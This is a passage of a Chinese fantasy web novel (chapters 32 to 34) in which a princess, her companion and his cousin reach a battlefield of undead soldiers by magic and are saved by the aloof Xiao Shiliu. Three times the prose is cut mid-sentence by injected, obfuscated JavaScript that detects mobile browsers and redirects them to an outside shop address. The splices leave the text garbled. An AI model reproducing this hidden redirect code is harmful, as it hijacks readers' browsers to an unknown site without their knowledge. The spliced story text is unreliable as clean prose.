周昭却不知,此刻黎国皇宫内鸡飞狗跳,谢景险些被自己的父皇打死,不可谓不惨。 谢景跪在国主面前,脸上还留着新鲜出炉的巴掌印子。黎国国主得知他私自跑回来,险些当场将他捆了扭送回去,要不是皇后劝阻,谢景估计还要被打得狠些。 谢景梗着脖子,不服气道:“这么多年,我回来看一眼怎么了?再说不是父皇你写信让我回来的吗?” 不提还好,一提国主便要抄起手边玉璧往外砸:“本王是让你这么回来吗?!” “陛下息怒!”王后劝道,“皇儿也是一片孝心,都怪我!要不是我这身子……” 她说到这里眼泛泪光,国主终于不忍再骂。好歹是十年未见,气消后也觉得自己下手狠了些。 “夫人莫急,本王知道,都知道。”国主这才细细端详起阶下跪着的儿子,“长高了,也瘦了……” 谢景鼻头一酸,差点没哭出来。 其实黎国王后的病已然大好了,谢景本来不信,以为是让他放心回去的说辞,可他母妃确实精神不错,才相信真有神人相助。 王后说,五天前黎国来了个云游的独眼道士,就是他治好了自己多年的头风病。 “皇儿你瞧,这串佛珠也是他送的。” 谢景早就注意到了王后颈间那串通红的佛珠,不由道:“怪事,一个道士竟然会送什么佛珠?难道我佛慈悲,也渡道士吗?” 王后嗔怪地在谢景手背上轻轻敲打了一下,道:“刚回来便胡说八道。那说不定是个真神,在人间救苦救难的。不过说来这佛珠原本是他送给你父皇的,说看你父皇有缘,送来辟邪消灾。你父皇不知好赖,偏说珠串戴着碍手碍脚,我便拿来了。” “真有这么神乎?”谢景伸手在佛珠上摸了摸,“那道士还在不在?” 不待王后说话,黎国国主便骂道:“没听你母后说是云游道士,不走,擎等着见你呢!” 谢景有些失望,还以为能找到这位真神,帮他们抓疟鬼。但给谢景十八个胆子,也不敢将周朝的事儿抖落出来,更不敢说那周朝皇帝的独女也被他拐来了,就在宫门外等着。要是给他父皇知道,谢景就不光是脸上的巴掌印那么简单了。 等谢景一吃完饭,国主便命他速速回周,不得延误。谢景含糊应了,一步三回头地离开,见王后默默垂泪,自己的心也跟着发酸。 谢景几乎是跑回客栈,见到周昭便连连叫道:“阿昭!阿昭我跟你说,我母妃病全好啦!” 周昭闻言亦是眉开眼笑:“真的?太好了!” 谢景发够了疯,将皇宫里发生的事儿都跟周昭说了,虽然略去了险些被暴揍一顿的事实,但他脸上巴掌印子还未消,周昭心里已明白了七七八八。 “方才我回来见你和小二说话,出什么事儿了吗?” “没事儿,”周昭道,“向小二打听个人。” 周昭 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16574227|184482||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 和宁啻道别后,回到客栈顺嘴一问,谁知店小二竟要她遇见宁小王爷一定要绕道走。 周昭不解,一问才知宁啻是城中有名的纨绔子弟,最爱寻花问柳。 周昭心想那少年爽朗肆意,这小二所说怕是不准,于是便打发他走了,此时将事情原委告诉谢景,他咂摸一二,问道:“宁啻……是哪个字?” 周昭写给他看,谢景恍然大悟道:“我知道是谁了。他原先不姓宁,怪不得我想不起来。” 谢景说宁啻是他姑姑永乐公主的长子,但驸马壮年早死,后公主改嫁,宁啻却不肯跟生母住进公主府,非要守在宁府为父守灵。 “说来姑父还是你们周朝人,可惜死得早……我跟表哥小时候常在一起玩儿,走的那年姑姑刚改嫁,怎么现在连姓都换了。” 谢景似乎对自己这个表哥很是怀念,神情间有几分落寞:“不说他了,阿昭,既然母妃已经大好,我们何时动身去抓鬼?” “抓鬼?这种好事儿怎么不喊我?” 一个声音自门外传来,谢景警觉道:“谁?” 房门推开,露出宁啻那张俊朗的脸。他先是看到周昭后没皮没脸地嘻嘻一笑,然后目光才落在脸上有个巴掌印的谢景身上。 宁啻身形忽而顿住,将谢景几番打量,难以置信道:“......你是......是......” 谢景自然也认出他,手忙脚乱地将宁啻一把拽进来,哐当把门踢上,低声道:“表哥别喊!” 半柱香后,宁啻望着谢景二人,心想流年不利,竟让他撞破谢景这狗东西偷跑回国。 他暗骂几句,假意咳了一声:“谢景,你回来就罢了,怎么还拐带姑娘?” 周昭悄悄冲谢景使了个眼色,谢景忙道:“表哥,这是我义妹,别乱说。倒是你,深更半夜偷听墙角。” 宁啻丝毫不脸红,晃了晃手中的酒:“阿鸢不会喝酒,这是松柏城最有名的荔枝清酒,不烈,拿给她尝尝。” “连阿鸢都叫上了……”谢景起了一身鸡皮疙瘩,问周昭,“你跟他说你住这儿了?” “这……” 宁啻眼珠子一转,舌尖上便盛满了一车轱辘谎话,糊弄道:“我也住这儿,巧不巧?来,尝尝。” 他将酒坛子递给周昭,就差摇尾巴。 周昭婉拒道:“谢谢,但我真不会喝。” 谢景把酒劈手夺过去,下了逐客令,说道:“表哥,你也知道我偷跑回来的,你快些走吧,免得被发现。” 宁啻道:“方才我听你们说什么抓鬼,怎么回事儿?” 周昭暗道一声糟糕,也怪她太不谨慎。谢景否认道:“哪儿有鬼?你听错了吧表哥。” 宁啻不依不饶道:“我不聋,老实说,抓什么鬼?” “真没有表哥,我们已经准备回去了。” “不说是吧,那我这就去告诉——” “抓疟鬼。” 谢景惊讶地望向周昭,心想你怎么把实话说出来了。 周昭又道:“宁兄,我哥哥常年在边关,前几日被疟鬼所害染疾,听说只要抓了疟鬼就能治病,长淮是陪我来的。人命关天,还请宁兄莫要声张。” 既然已经被发现,遮遮掩掩反令人生疑。宁啻沉吟道:“疟鬼只有三苗才有,你们难道要去三苗国?” 周昭点点头,宁啻挑了挑眉,难以置信道:“就你们俩?” “对。” “打算怎么走?” 周昭拿出地图:“渡海。” 32. 半尸 他们要去三苗国,最近的办法就是横渡无妄海,最远的办法则是从北疆绕过去。宁啻不由分说道:“无妄海底下可是无相渊!渡海太危险,我和你们一起去。” 相传很久以前,神州大地除了人,还生活着众多妖魔鬼怪。后来神兽毕方将其镇压在无相渊,以己之身净化天地戾气亡魂,才有了人间一说。 周昭作为身上流着毕方神血的周氏后人,虽然听说过这段古老的历史,但对于无相渊到底是个什么东西确实没概念。 谢景笑道:“表哥,你还真信无妄海底下有个什么无相渊呐,幼稚!就算真有,传说不都说了,无相渊早就被毕方封印了,哪轮得到我们碰上。” 宁啻瞪了谢景一眼:“我从前在边疆待过几年,三苗国我比你们熟。再说渡海太慢了,我有个法子能眨眼就到。” “真的?” 宁啻卖关子没再说。 周昭却想起一事,问:“宁兄在边关待过,可有见过疟鬼?” 宁啻沉吟道:“这个还真不曾见过,只是听说过疟鬼能传播疫病,至于长什么样子,谁也没见过。” 谢景脱口而出道:“阿——着急死人了!” 谢景仍是不大习惯改口,险些说漏嘴,吓出一身汗,接着道:“阿鸢,表哥跟我们一起也好,说不定还能早点抓到疟鬼,如何?” 周昭想了想点点头:“好吧,那麻烦你了宁兄。” 宁啻又恢复成嬉皮笑脸的模样,盯着周昭傻笑道:“不麻烦不麻烦。” 这一幕落在谢景眼中简直没眼看,心想他这表哥定是贪图周昭美色,不过他跟周昭待在一起这么多年,怎么从没觉得周昭像天仙呢…… 距众人百里之遥的无妄海此刻风平浪静,在月光下闪着银光,并不像传闻中所说那般凶险。 沿着海岸线一直往北,越过北疆边境,继续深入草原腹地,月光下广袤的草原一望无际。 正值大雪,入目萧瑟。 王帐中却很突兀地站着一位灰色袍子的道士,背面仙风道骨,近看却是个一把年纪,瞎了一只眼的。 “长老,为何不让本王出兵!” 年轻人长了只血气方刚的鹰钩鼻,满脸雄心壮志,正是新推选的草原部落首领察罕图。 “用中原人的话来说,天下没有不漏风的墙。盛都乱了马脚,正是我部出兵的好时机!” 任凭他火急火燎,那道士却岿然不动:“可汗,你太小看中原人了。” 察罕图叫道:“哼!长老灭自己志气,长他人威风!” 道士微笑道:“可汗,我跟你们可不是一伙的。” 察罕图脸上的急躁悄无声息地散了下去,狭小的灰眼睛里射出两道精光,声音低下去:“长老真觉得……此刻出兵并非良机?” 道士故作高深,摇摇头。 察罕图沉吟片刻,一拍大腿:“好吧!既然长老上次一出手,就帮本王解决了周衡那个臭小子,搅得盛都乱成一锅粥!本王就再信长老一次,不出兵了!” 道士这才道:“贫道是为另一件事而来。周氏皇女已到黎国,大王切莫心急,不可动手。” ……怪事,这老道如何得知我要动手? 察罕图皮笑肉不笑,语意暧昧道:“一个丫头片子,也值得长老跑一趟。” 道士不答,眼神虽然带笑,却看得出寸步不让。 年轻的首领在这目光下竟怯了半分,待缓过神来,答道:“既然长老说了,本王不动她就是了。不过,长老你得告诉本王,何时才能出兵?我草原上的雄鹰生来就是要吃肉的,不见血,不回头!” 道士伸出一指:“一个月。” 王帐烛火闪烁,察罕图嘿嘿笑了两声,盯着道士那只独眼:“长老,难道就是这瞎眼之仇,让你想杀光中原人?” 老道右眼整个被挖空了眼珠,空荡荡的,颇为瘆人。他略微俯首:“可汗,咱们事先说好的,我助你荡平中原。至于贫道……莫问来处,莫问归处。” 王帐轻轻掀起,那灰色身影便融入夜色之中了。 翌日一早,宁啻便带着大包小包来到客栈。谢景见他如此夸张,忍不住道:“表哥,你是要去三苗国常住吗?” 宁啻胸有成足道:“有备无患,懂吗表弟。” 他从包裹里拿出一只香炉,青铜所制,十分小巧。香炉谢景见得多,又要嘴碎多说上几句:“表哥,我们是去办正事儿的,没功夫花前月下陶冶情操。” 宁啻并不理会,献宝似的端到周昭面前,介绍道:“请看,这是行云令。” 行云令,乃是一种日行千里的法宝。 传说造出这东西的本来是个穷书生,因为常年不能高中一气之下出家修道,因此行云令用时需要写出两句包含地名的小令,再将笔墨于香炉点燃,睁眼即到。 不过行云令有个限制,一天只能用一次。再者这东西有时候不大准,世上地名万千,保不齐刚好有两个地方叫法一样,万一费劲巴拉憋出来两句诗,反而被送到离目的地甚远的千里之外,岂非很不划算?所以这东西流通并不广。 周昭只觉天地之大果真无奇不有,端着行云令爱不释手。 宁啻随身携带的还有一份地图,他抬手一指:“先去这里!” 宁啻所指的地方最早叫安县,是通向三苗国的门户。这地方从前打过仗,死过不少人,所以也叫食人坡。 宁啻提笔写下“黄沙漫漫食人骨,残阳如血染荒坡。劝君莫问当年事,夜深犹听旧时哭。” 又落款写道:“食人坡。” 香炉白烟如一缕细线升腾,千里之外食人坡废墟之上,凭空多出来三人。 耳畔风声呜咽,眼前黄沙萧瑟,寸草不生,果真应了宁啻诗中之景。 “我说表哥,这......”谢景忽然觉得脚下踩着个什么东西,随着他身体移动发出咔嚓一声脆响,低头一看,竟是个残缺的骷髅头。 “啊!!!”谢景发出一声鬼叫,跳开半丈远。 定睛一看,这竟然是一片乱葬岗。脚下黄沙非沙,而是人骨风化后形成的骨灰。 周昭只觉得阵阵寒意顺着小腿爬上来,不由起了一身粒子,自言自语道:“食人坡……名不虚传。” 宁啻正要去拿地图,忽然左膝不受控地一歪,像是有什么东西把他狠狠拽进土里。 宁啻试着拔了拔,没拔出来,再一看,竟是半只胳膊扣在他小腿皮肉! “啊啊啊表弟救我!!!”随着一声惊呼,宁啻已被拖行出五步远。 “那是什么东西!”周昭从腰间摸出一条长鞭,抬手甩出,眼看长鞭就要被宁啻抓住,一个张着血盆大口的头颅对准她脚腕咬下去。 周昭抬脚狠狠一踩,只觉脚下绵软一片,哪里还有人头踪影。却见黄沙底下簌簌而动,周昭叫道:“长淮小心!朝你那边去了!” 谢景拔剑,叫道:“表哥你带的什么好路!” “先离开这里!”周昭一鞭不成,再甩出一鞭,宁啻已经被那半只胳膊抓着往土里带,周昭长鞭缠住宁啻将他拔起,那胳膊终于晃晃悠悠掉下来。 谢景一剑刺中头颅天灵盖,抬脚将其碾碎,那头颅顷刻间化为流沙不见了。周昭也将那只胳膊斩断,她环顾四周,似乎没有其他东西再出现,眼前又恢复他们来时的风平浪静。 宁啻惊魂未定,谢景走到他面前,问道:“表哥,你不是在边疆待过吗?” 宁啻大言不惭道:“我在边疆……其实是个文职。” 谢景:“……” 接下来的一炷香内,谢景都在细数宁啻小时候的恶劣事迹,从偷鸡摸狗到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16593498|184482||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 逃课装病,再到今天的安县。宁啻自然不甘示弱,二人互相揭短,打打闹闹,倒也添了些趣味。 周昭走在旁边,不由想到远在千里之外的哥哥们,正有些感怀,忽然起了阵大风。 这风来得诡异,更诡异的是眼前荒漠突然出现成群结队的老鼠,它们个个体型硕大,牙齿尖利,像是凭空出现又很快消失。 “你们看,”周昭道,“那些老鼠都跑进岩石后面去了。” 谢景道:“那儿应该是老鼠洞吧,我们去看看。” “等等。”周昭拉住他,“你听。” 宁啻道:“是风声?” “……是龙摆尾!” 前方出现一道裹挟着风沙呼啸而来的飓风,这风螺旋而上,在这荒漠之上宛如神龙摆尾气势汹汹。 周昭将剑插进土里,可惜这尘土极为松散,根本站不住脚。她环顾四周,指着方才老鼠跑过的方向,高声叫道:“长淮!我们去那边!” 那里有巨石遮挡,想来刚才那些老鼠就是去避难的。谢景应了一声,拉着宁啻深一脚浅一脚往巨石走。 离巨石还有一丈远时,突然天地色变,众人眼前一暗,脚下一轻,再反应过来时已经被飓风卷了进去。 遭了!宁啻不会武! 周昭勉力睁开眼睛,不知是土还是骨沙一个劲儿地往她眼睛里钻,刺得她生疼。 她和谢景对视一眼,二人借助风势合力运气,将宁啻护在中间。周昭低头一看,他们已经被高高吹起数丈高,可地面却在此时此刻悄然发生了变化。 只见原本一望无际的荒漠,无数断肢残臂从地底下破土而出,从上往下看竟好像密密麻麻涌动着的浪潮,让人心惊胆战。 可下一瞬,这浪潮就随风而起,竟也被裹挟到了飓风里。周昭正不得其解,一只骨爪自她身后袭来! 宁啻眉眼一跳,将周昭往自己面前猛地一拉。周昭自幼习武,就算宁啻不这么做,骨爪也不会伤到她。周昭向宁啻投去感激的目光,那骨爪扑了空,竟十分灵活地调转方向,又向谢景抓去。 这东西竟能不受飓风影响?周昭看向谢景,对方也明白了这点,不由蹙紧眉头。他一手要护着宁啻,一手要在半空和骨爪缠斗,实在不好受。 这样下去不是办法,周昭握紧长鞭,一端缠绕在自己右臂,另一端将宁啻牢牢绑住。然而更可怕的事情还在后头,不光骨爪,方才从地下钻出来的东西,全都如饥似渴地向他们扑来。 沙石阵阵,鬼声戚戚。 他们在空中被这些半尸纠缠,刀剑都发挥不出多大效用,要不了多久就算不被半尸抓住,也会力竭而亡。而此刻风力似乎小些,就好像知道他们已经撑不了多久,要将他们复扔回地面。 周昭心想,若她所料不错,稍候他们三人会被这股风刮到不同的地方,届时他们精疲力尽,定会成为这些东西的盘中餐。 她往怀里摸了摸,本想看看还有没有绳索之类,正在此时,宁啻突然身子一歪,不受控制地向后倒去。 他面色发青,双目紧闭,已然昏迷过去了。周昭下意识往回拉,却被强劲的风力撕扯着,眼看宁啻就要掉进下方半尸群中,周昭心一横,顺风而去,又将长鞭再度收紧,二人在空中调转了个方向,她拼尽全力将宁啻向前一抛,叫道:“长淮!接住!” 这样吼了一声,风沙瞬间灌进咽喉,周昭只觉像吞了无数刀片般又疼又刺。可眼下不容她喊痛,方才救宁啻几乎耗尽了她全部内力,眼看她后背就要撞上那块巨石。 这一撞不一定会死,但一定很痛。 周昭闭上眼睛,预想中的疼痛却没有到来,取而代之的是一个什么柔软的东西。 周昭侧目,飞沙走石中,她的面容倒映在一双冷淡的眼眸里。 “小殿下,又见面了。” 33. 神血 周昭难以置信道:“十六,你......” “别说话。” 对方单手揽在她腰际,宽大的袍袖将迎面而来的沙石悉数挡住,就这么轻飘飘地落在地上,顺势将周昭稳稳当当地放在巨石后。 这里还算安全,不知道为什么,那些半尸虽然蠢蠢欲动,却并不敢向他们这边靠近。 而另一边,风沙渐停,谢景和宁啻就不如周昭好运气了,虽然没撞上巨石,也狠狠地摔在这骨沙里半死不活了。 围在他们身边的半尸,迅速向谢景他们围去。 周昭反手撑住巨石,欲站起身,却被萧十六轻轻按住肩膀:“你受伤了。” “嗯?”他这么一说,周昭才觉得右臂传来一阵剧痛。刚才宁啻掉下去时,全靠那一根鞭子连接二人,彼时忙着救人,周昭竟没注意右臂皮肉都被磨烂了,血珠子正淋漓不尽地顺着她整个右臂流淌下来。 “不碍事,救长淮要紧。” 萧十六再一次将她欲拔剑的左手隔着衣袖按住,他的手掌很大,一时间周昭被他覆住动弹不得,他平静道:“人各有命,救他做什么?” 换作其他人说这话,周昭一定要恼。但她总记得十六出身可怜,正如莲花无心非花之过,所以不由得比对旁人多了几分耐心:“十六,你在这等等我。” 周昭抽出手,摇摇晃晃站起来,远远看看谢景撑着剑半跪着,宁啻应是在他身后。 人还活着。 周昭来不及高兴,因为尸潮已经朝他们越逼越近。 她就这么吊着一只淌血的胳膊走了两步,却第三次被人拦下。 萧十六挡在她身前,不冷不热道:“好吧。” 周昭尚不明白他的意思,萧十六道:“借剑一用。” 他要救人? 萧十六夺了她的剑,突然举剑向她右臂刺来。周昭骇了一跳,却见十六将她右臂流下来的血尽数抹在剑上。 他足尖轻点,飞身至尸潮上,随手将剑朝天空一扔,剑在空中停下,忽而漫天血雨如云似雾,好似一片轻薄的红纱缓缓落下,瞬间笼罩了整个荒漠。 周昭正不得解,却见血雾落下时,那些半尸不约而同地停止前进。此时剑无人而动,一招一式竟也有模有样,而半尸们有的惊恐万分地躲进地底下不再出来,有的则开始互相残杀。 十六瞅准时机,一手一个,将谢景和宁啻二人飞身拎起来,稍后像丢破烂似的毫不客气地丢到周昭面前。 宁啻已经昏过去了自然不知情,但谢景还是平生第一次被人这样对待,纵使一身伤,也要梗着脖子叫道:“你!你竟敢......” 周昭劝道:“好了长淮,是十六救了你们。” “谁稀罕他——嘶!”谢景扯到伤口痛得龇牙咧嘴,周昭知道他这是自尊心受挫,觉得没面子,偏偏这时站着的那人又火上浇油,冷冰冰地说道:“废物。” 他看了看宁啻,又补充道:“两个。” “十六……”周昭求救般看向他,对方没什么表示,走到离他们稍远的地方去了。 “你!”谢景挣扎着就要坐起来,周昭真是十分头痛,哄完一个又一个,忙转移话题问道:“宁啻如何了?” 谢景终于想起他那倒霉表哥,将该死的萧十六暂且搁置一边。宁啻毫无生气地躺在那儿,嘴唇乌青,脸色灰白。谢景一探额头,眉头紧锁:“他在发热。” 宁啻方才被半尸抓过的小腿处已经完全溃烂了,皮肉翻开渗出不正常的黑血。 “这东西有毒。”周昭心一沉。 远处半尸们在那只剑的操纵下,互相撕扯搏击,不可谓不激烈,因此他们这边还算安全。 谢景忽然想起什么,眸光一亮,叫道:“阿昭,你找找师父给的锦囊里可有丹药?我记得那只白瓶子的就是。” 周昭三两下翻出来一只白瓷瓶:“有!” 她打开瓷瓶,一股令人心安的药香飘散出来。但他们都不精通药理,不知道这药是否对症,谢景是个急性子,抓起药丸就往宁啻嘴里塞了一颗:“管不了那么多了!师父给的应当是好东西,再不救人表哥真得死在这儿!” 一声嗤笑传来—— “要是你师父给的是毒药,你表哥这下可真要被你毒死了。” 萧十六双手抱胸,嘴里好像从不会说好赖话。 “你在胡说八道什么!晦气!”谢景气得脸发绿,周昭试探道:“十六,你可认得这药?” 十六走过来蹲下,捏起一颗药丸在鼻端嗅了嗅,道:“不认得。不过这其中有几味药材,可散热解毒。放心,这小子死不了。” 他目光下移,落在周昭那只血肉模糊的胳膊上。 刺啦—— 十六利落地将外袍下摆扯下一片,撕成布条,沉默着开始包扎起周昭流血的右臂。 周昭心下感激,这才注意到十六今日没穿从前那些麻布衣裳,而是换了身月白锦衣,腰间系着条青绿色的玉带。 他原本就生得好看,这么一装扮愈显贵气。但如今下摆短了一截,让人瞧着可惜。 “十六,谢谢你。” “手给我。” 周昭低头看掌心交错纵横全是勒痕,但这伤比起谢景他们算不得什么,摇摇头:“不要紧。” 对方闻言便松开她,不再强求了。 另一边宁啻虽然未醒,但额头已经没有刚才那么滚烫了。谢景方才护着宁啻,衣服都被划得不成样子,从高处掉下来又当了回人肉靠垫,简直狼狈不堪。 周昭从行囊里拿出些水来给谢景喝了,问道:“长淮,你感觉怎么样?” “咳咳、还好。”谢景喘了口气,脸色并不怎么好。 “这药你们最好每人服用一粒,以防尸变。”十六先是倒了一颗药给周昭,然后把药瓶丢给谢景。谢景半信半疑,但想想尸变,还是老老实实把药吞了。 他们说话的这会子,远处的击杀声不知何时已经停了。周昭起身看了看,荒漠风沙依旧,那些半尸竟都消失不见了,只剩那柄剑孤零零地躺在那儿。 周昭不由问道:“十六,这些是什么东西?你刚才又是怎么击退他们?” 萧十六道:“这是义奴,我也是第一次见。” “我好像在哪里看到过这个名字……”谢景本来不愿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16622162|184482||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 和萧十六讲话,但对方说的恍惚间勾起了他的回忆,“我想起来了,我小时候在宫里一部古籍上看到过!” 黎国并不排斥修道,这从沿路而来的道观就可见一斑,因此这类书籍自然比周朝多些。 萧十六难得多话,不咸不淡地解释道:“所谓义奴,其实是死去的士兵亡魂不肯离去,以为自己还活着。他们生前终日厮杀,死后也只能继续这样下去,他们会把所有闯入战场的活物当做猎物,哪怕尸体已经风化,只剩一条胳膊一个头颅。” 萧十六边说边走过去把周昭的剑捡回来:“那风也是义奴搞的鬼,这骨沙是他们自己的身体所化,操纵起来易如反掌。” 周昭若有所思道:“怪不得我刚才看到有的半尸身穿盔甲......” 三苗国论起来曾经也算是周朝的领地,不过后来几经浮沉,变成了这无边荒凉的食人坡。 谢景插话道:“这是哪国士兵?哪次战乱?” 萧十六示意他自己去看盔甲,周昭用棍子扒拉着一片甲胄,久经风沙侵蚀已经看不清重甲上的图腾,萧十六略瞟了一眼,淡淡道:“周朝的。” 他将剑递给周昭:“小殿下可还记得,当时你受了伤,那些东西都不敢靠近。” “嗯,何解?” “因为你的血。” “我的血?” “人皇血脉天下只此一支,至纯至净,能驱邪避祸。” 萧十六说这话时眼睛微微眯起,无端让周昭想起那只白猫。 周昭头一次知道自己的血还有这等好处,十六的声音不疾不徐地传来:“于是我将这血抹在剑上,下了场血雨,义奴多仓皇逃窜,那是因为他们见识过从前一位人皇的厉害。那些自相残杀的,不如说是将千年前未打完的仗接着打过。你的血激起了周朝士兵的斗志,唤醒了沉睡的亡魂,他们誓死为周朝皇族而战,为保护你而战。” 风声簌簌,好似人声呜咽,又好像完成夙愿后的亡魂告别。 大漠黄沙,周昭心底不由涌起难言的震撼。她郑重地在天地之间俯首行礼道:“吾乃大周皇女周昭,在此谢过先辈英烈!” 声音回荡,呜咽渐息。 周昭忍不住问道:“十六,有人会听见吗?” 萧十六抓起一把沙子,冰冷的骨渣自他指缝间滑落,他看稀奇似的将周昭打量一遍,显然觉得周昭在做一件不可理喻的事情。 末了又点点头,像是找补道:“会的。” 说来奇怪,明明萧十六和他们差不多大,甚至也许还要小个一两岁,可周昭每每见他,总觉得他一言一行不像这个年纪的少年。 这人眉宇间总是压着熨不开的阴郁之气,寡言少语,拒人千里之外。就比如此时,他虽然嘴上说会,但更像觉得她这话好玩儿,哄小孩儿似的骗骗她。 正思虑间,谢景问道:“我说,你怎么会到这儿来?” 京都离此地几千里,哪怕是有行云令,也不可能如此精准地刚好和他们落在同一地点。 气氛突然变得有些微妙,谢景继续道:“可别说是顺路。” 萧十六没说话,抬眼却杀气腾腾。 34. 坏种 周昭生怕这两个人打起来,忙道:“算啦,长淮,不管怎么说十六救了我们。” 谢景将周昭拉到一边,悄声道:“你这朋友稀奇古怪的,还是当心些好。” “就当为了你表哥,也得谢谢他才是。”周昭压低声音。 谢景本欲反驳,满肚子的疑问只好咽下去,要不是这位不速之客,表哥还真说不好能不能活,那他可要成千古罪人了。要谢景低一低头不是件容易事儿,他脸色青一阵白一阵,正准备谢过,十六挑眉道:“不用勉强,我本来也没打算救你。” 周昭真搞不懂他俩为何说两句就能呛起来,一个是炮仗,另一个就是那专点炮仗的火星子,忙接过话:“十六,你和我们一起走吗?” 谢景哼了一声:“谁要和他一起走。” 萧十六出奇地对谢景的话置若罔闻,居高临下地看了看他们,答非所问道:“那张地图,拿给我看看。” 周昭拿出他们来时用的地图,递给他:“给。” 萧十六看了眼便扔到一边:“不是这张。” “只有这一张呀......”周昭纳闷道,她忽然想起什么,从贴身携带的锦囊里取出一份地图。那是一份更大些的周朝地图,所以不如宁啻那份三苗国境内的地图精细,“你说这个?” 萧十六这回看得比方才时间久些,周昭不由问道:“十六,有什么问题吗?” 萧十六指了指地图上靠近右下角的一点:“如果你们用这张图,那么沿着这条标记好的线路可以从黎国直接到三苗国的行人岭,根本不用来安县走这么一遭。虽然安县离行人岭也不远,但这条路你们也看到了,难走。” “行人岭?就是疟鬼所在之处吗?” 周昭来时也翻阅过典籍,只是周朝对三苗国的记载甚少,对行人岭她也只知道这么个地名,具体在哪儿并不清楚。 十六点点头,若有所思道:“你师父给的这张图,目标十分明确。黎国国都,行人岭,苍界山,都标好了不同的线路。至于食人坡,这上面压根没画出来,换句话说,只要你想去三苗国国境内,按着地图走,一定会到行人岭。” 正是他们此行三个地点。 周昭心道:“看来师父一切都为我们安排好了。” 谢景心中不大是滋味儿,当初是他同意表哥跟来的,可非但跑错了地方,还置大家于险境。实话实说,其实他也对这少年有些敬佩,但碍于面子不好意思讲,便转向周昭,问道:“阿昭,下一步我们去行人岭吗?” 周昭点点头:“要去,但宁兄他......” 前路未可知,行人岭还指不定会发生什么事情,谁都不清楚是比荒漠更好还是更糟。宁啻昏迷不醒,小腿上的伤虽然已经没有继续溃烂,看上去仍触目惊心,周昭忽然想到什么,灵机一动道:“十六,你说我的血能驱邪,可以去尸毒吗?能否抹在宁啻腿伤上?” “人皇血,必须心甘情愿献出才能发挥神血功效。”萧十六转向周昭,“你心甘情愿?” 周昭点点头:“当然了,宁啻是朋友。” 萧十六抬眸冷笑道:“原来做殿下的朋友,就能得到殿下的血。不过我请问,你的血很多吗?”他话锋一转,一反常态地嘲弄道,“小殿下,你比我想象的要更蠢笨。” 周昭被劈头盖脸骂得一愣,谢景气道:“阿昭一片好心,你这人会不会讲话的?” 萧十六反问道:“哦?那你也希望用她的血,换你表哥的生喽?” “我......”谢景自问他方才确实有过这样的念头,一点血罢了,拿来救人难道不对吗?但他被十六这么一问,忽然觉得他想得太理所应当了。如果他的血能救表哥,他当然双手奉上。但如果是阿昭,他确实没道理要阿昭这么做的。 周昭心想:“这是什么道理,我还没说什么这俩人反倒争执上了。不就是一点血吗,有什么大不了的?” “试试吧。”她倒是无所谓的,萧十六却拦下她:“荒漠有一种草药,能止血去毒。” 谢景心中一喜,嘴上不饶人:“喂,有你不早说。” 萧十六没理他,径直往前走了。过了不到半柱香,他回来时手里多了几株绿色的草叶子。萧十六丢给谢景一些,然后半蹲在周昭面前,再次说道:“手给我。” “我不要紧,给......” 萧十六打断她道:“小殿下,行人岭的疟鬼专爱吃你这种细皮嫩肉的小女娃,你要是不想伤口感染连剑都用不了,就随便。” 周昭本来是看药草没多少,但十六这么说了,只好把手伸出来。 萧十六将草叶在手掌团了团,轻轻一捏,化作一股深绿的汁液从他掌心流下来,周昭只觉伤口一阵清凉,果然好些。 “十六。”周昭道。 萧十六又撕下一片布料,此时正在她手心打了个小巧的结,鼻间轻轻嗯了一声,像是有些不耐烦。 周昭眼中蕴了丝柔软的笑意:“十六,你这人明明是好心肠,却总爱说些带刺的话。” 要是有机会看看你原本的样子就好了。 萧十六抬起头,盯着她看了片刻,用一贯的冷漠语气道:“哦,怕是要让殿下失望了。我是个坏种,生就一副恶毒心肠。” “不是的。” “不是什么?”萧十六一双眼沉在这遍地尸骨里,染了几分鬼气森森的好颜色。 周昭望进那双眼里,试图找到分毫良善,岂料越看越觉得脊背发凉。但她想的却不是此人如何如何危险,只是感慨到底是什么造就了这样一个萧十六。她嘴角微微向上,温声道:“不是的,人性本善,你也一样。” 萧十六不答话,包扎完便走开了。 那边谢景也给宁啻敷了药包扎好,他们休息片刻,却不敢松懈。虽说那些半尸不敢再出来,但坐在成片的骨头渣子上心里总是阵阵发毛,便准备到行人岭再做打算。 谢景年轻力壮,也不知是他身体好,还是江梅棠为他们准备的丹药好,他身上七七八八的划伤已经好得差不多了。谢景和周昭一样,这算是他们第一次真正意义上的实战历练,于是对接下来的行人岭,谢景可谓是好了伤疤忘了疼——跃跃欲试。 谢景坐在那块巨石上,道:“行人岭,这个名字好,说不定那里还能见到三苗国的人呢。” 